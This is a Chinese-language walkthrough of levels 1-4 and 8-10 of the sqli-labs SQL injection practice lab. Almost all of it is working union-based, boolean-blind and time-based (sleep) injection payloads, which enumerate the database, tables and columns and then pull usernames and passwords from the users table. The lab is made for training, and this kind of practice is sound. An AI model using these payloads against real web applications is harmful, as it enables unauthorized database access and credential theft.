sqli-lab前四题
第一题
先尝试输入一下
?id=1 --+
回显了一个用户名和一个密码
用order by查看整张表有几列
?id=1' order by 1
最后发现有三列
判断回显的位置
?id=-1' union select 1,2,3 --+
id=-1是因为表中没有-1这个值,以便数据库执行联合语句。
执行后发现2和3有回显,是可以注入的地方。
查询数据库的名字
?id=-1' union select 1,2,database() --+
查询数据库用户名
?id=-1' union select 1, user()
接着查询数据库表的名称
?id=0'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'+--+
group_concat语句是用来把表的所有数据都显示在一行
查询字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database()--+
最后查询数据内容
?id=0'union select 1,2,group_concat(username,0x3a,password) from users--+
第二题
先尝试上一题的思路
?id=1'
报错,说明第二题是数字型的sql注入
只需去掉单引号就行,操作步骤大致和第一题一致。
第三题
故技重施
这次是字符型的注入
在输入联合语句之前
?id=0'
报错,发现这次是单引号和括号闭合
所以变化就是第一题的查询语句的单引号闭合都改为单引号和括号闭合。
第四题
尝试一下上一次的单引号和括号闭合
?id=0')
再次报错,发现是双引号和括号闭合,将查询语句的闭合方式改为双引号和括号闭合即可
第八题
开始界面,
?id=1'
发现回显是
you're in........
并没有回显具体内容,看来是用盲注解决,且是单引号闭合。
再尝试
?id=0'
发现没有回显,
正确的语句有回显,错误没有回显。
确定是用布尔盲注解决
判断数据库的长度
?id=1' and length(database())>1 --+
以此类推试出数据库长度为8
猜测名称
?id=1' and substr(database(),1,1)='s' --+
?id=1' and ascii(substr(database(), 1, 1))=115 --+
两段任选其一
其中,substring函数是用来截取数据库中某一字段中的一部分
ascii函数是用来返回所选部分对应的ascii码。
得出数据库名叫security(采用二分法可大大减少盲注用时)
接下来爆破表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>80 --+
以此类推,
找出表名有:emails、referer、uagents、users、id
显然users表中含有用户的密码信息
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=100--+
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1))=100--+
接着试,最后得出用户名和密码。
第九题
照例尝试正确请求和错误请求
但此时发现正常和错误的请求的回显都是
You're in...
回显界面一样,就不能用布尔盲注了
可以用
?id=1 and sleep(5) --+
?id=1' and sleep(5) --+
?od=1" and sleep(5) --+
打开控制台查看是否有延迟来测试
sleep(5)的作用是让页面延迟五秒回显
发现只有第二条延迟了,说明是单引号闭合注入。
剩下的步骤同第八题,
猜数据库长度、名称
猜表名
找到需要的用户密码。
第十题
进行正常和错误的请求
情况和第九题一样,
看来也是用时间盲注
再尝试延迟判断引号闭合。
?id=1 and sleep(5) --+
?id=1' and sleep(5) --+
?od=1" and sleep(5) --+
这一次是双引号闭合延迟
生于步骤和上两题一样